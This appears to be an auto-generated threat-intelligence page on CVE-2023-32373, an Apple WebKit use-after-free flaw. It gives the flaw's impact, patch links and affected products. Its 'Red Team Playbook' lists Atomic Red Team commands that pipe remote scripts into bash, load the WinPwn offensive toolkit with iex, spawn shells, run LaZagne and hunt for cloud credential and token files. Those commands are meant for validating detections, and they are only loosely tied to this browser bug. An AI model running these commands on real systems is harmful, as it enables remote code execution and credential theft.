CVE-2023-32373
Overview
This vulnerability is a use-after-free flaw arising from improper memory management within Apple’s WebKit rendering engine, specifically affecting the processing of web content in Safari and related OS components. The root cause involves a dangling pointer referencing freed memory, leading to corrupted program state during execution of maliciously crafted web content. Affected components include Safari browser and WebKit-based rendering in iOS, iPadOS, macOS Ventura, watchOS, and tvOS versions specified.
Vulnerability Description
A use-after-free issue was addressed with improved memory management. This issue is fixed in watchOS 9.5, tvOS 16.5, macOS Ventura 13.4, iOS 15.7.6 and iPadOS 15.7.6, Safari 16.5, iOS 16.5 and iPadOS 16.5. Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.
Impact
An attacker can execute arbitrary code with the privileges of the user running Safari or WebKit-based applications by convincing them to visit a malicious website. This requires no authentication but does require user interaction to load crafted web content. Successful exploitation can lead to full compromise of the affected device, including data theft, installation of persistent malware, and control over system functions, posing significant threats to user privacy and system integrity.
Solution
Apple has released security updates addressing this issue in macOS Ventura 13.4, iOS 15.7.6 and 16.5, iPadOS 15.7.6 and 16.5, watchOS 9.5, tvOS 16.5, and Safari 16.5. Users and administrators should apply these updates promptly. Detailed patch information and update instructions are available at Apple’s official support pages: https://support.apple.com/en-us/HT213758, https://support.apple.com/en-us/HT213762, and https://support.apple.com/en-us/HT213764.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question is characterized as a use-after-free issue, which is a critical memory management flaw that occurs when a program continues to use a pointer after the memory it points to has been freed. This can lead to unpredictable behavior, including arbitrary code execution, as the freed memory may be reallocated for other purposes. In the context of Apple's software ecosystem, this vulnerability affects several products, including Safari, iOS, iPadOS, macOS, watchOS, and tvOS. The flaw was addressed through improved memory management techniques, highlighting the importance of robust memory handling in preventing exploitation.
Attack vectors for this vulnerability primarily involve the processing of maliciously crafted web content. An attacker could exploit this flaw by enticing users to visit a specially designed web page or to open a malicious file. Once the vulnerable software processes the crafted content, it may trigger the use-after-free condition, allowing the attacker to execute arbitrary code within the context of the user's session. This could lead to unauthorized access to sensitive data, installation of malware, or even complete system compromise. The potential for exploitation is exacerbated by reports of active exploitation, indicating that threat actors are already leveraging this vulnerability in the wild.
The real-world impact of this vulnerability is significant, particularly for businesses that rely on Apple products for their operations. The ability for an attacker to execute arbitrary code can lead to data breaches, loss of intellectual property, and disruption of services. Organizations that handle sensitive customer information or proprietary data are at heightened risk, as successful exploitation could result in severe financial and reputational damage. Furthermore, the widespread use of affected products increases the likelihood of targeted attacks, making it imperative for organizations to remain vigilant.
To detect and mitigate the risks associated with this vulnerability, organizations should prioritize timely updates and patch management. Users should be encouraged to upgrade to the latest versions of affected software, as the updates provided by Apple address the underlying memory management issue. Additionally, employing security solutions such as web application firewalls and intrusion detection systems can help identify and block exploitation attempts. Regular security assessments and employee training on recognizing phishing attempts can further reduce the risk of falling victim to such attacks.
In conclusion, the use-after-free vulnerability presents a serious threat to users of Apple's software ecosystem. Given the potential for arbitrary code execution and the active exploitation of this flaw, organizations must take proactive measures to protect their systems. By implementing robust detection and mitigation strategies, businesses can safeguard their assets and maintain the integrity of their operations in an increasingly hostile cyber landscape.
CSURFACE threat intelligence has identified a slight increase in detection activity related to CVE-2023-32373, indicating a modest resurgence in attempts to exploit this use-after-free vulnerability. Although the overall exploit prediction scoring remains stable, the uptick in telemetry suggests adversaries continue to probe affected Apple platforms, underscoring ongoing interest despite existing patches. This subtle rise in exploitation attempts highlights the persistence of threat actors in leveraging memory management flaws for arbitrary code execution. For defenders, this development reinforces the necessity of maintaining vigilant monitoring and timely patch application, as the vulnerability remains a credible vector for compromise. While the risk level has not escalated dramatically, the observed trend signals that the threat environment is dynamic, warranting sustained attention to this high-severity issue.
Affected Products (13)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Apple | Safari | All |
cpe:2.3:a:apple:safari:*:*:*:*:*:*:*:*
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Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
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Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
|
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Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
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|
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Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
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Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
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Apple | Tvos | All |
cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*
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Apple | Watchos | All |
cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*
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Redhat | Enterprise Linux | 6.0 |
cpe:2.3:o:redhat:enterprise_linux:6.0:*:*:*:*:*:*:*
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Redhat | Enterprise Linux | 7.0 |
cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*
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Redhat | Enterprise Linux | 8.0 |
cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*
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Redhat | Enterprise Linux | 9.0 |
cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*
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Webkitgtk | Webkitgtk\+ | All |
cpe:2.3:a:webkitgtk:webkitgtk\+:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
6 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (9)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-32373 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/HT213758 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/HT213762 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/HT213764 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/HT213765 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/HT213757 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/HT213761 |
| security.gentoo.org |
GitHub CVE
|
https://security.gentoo.org/glsa/202401-04 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-32373 |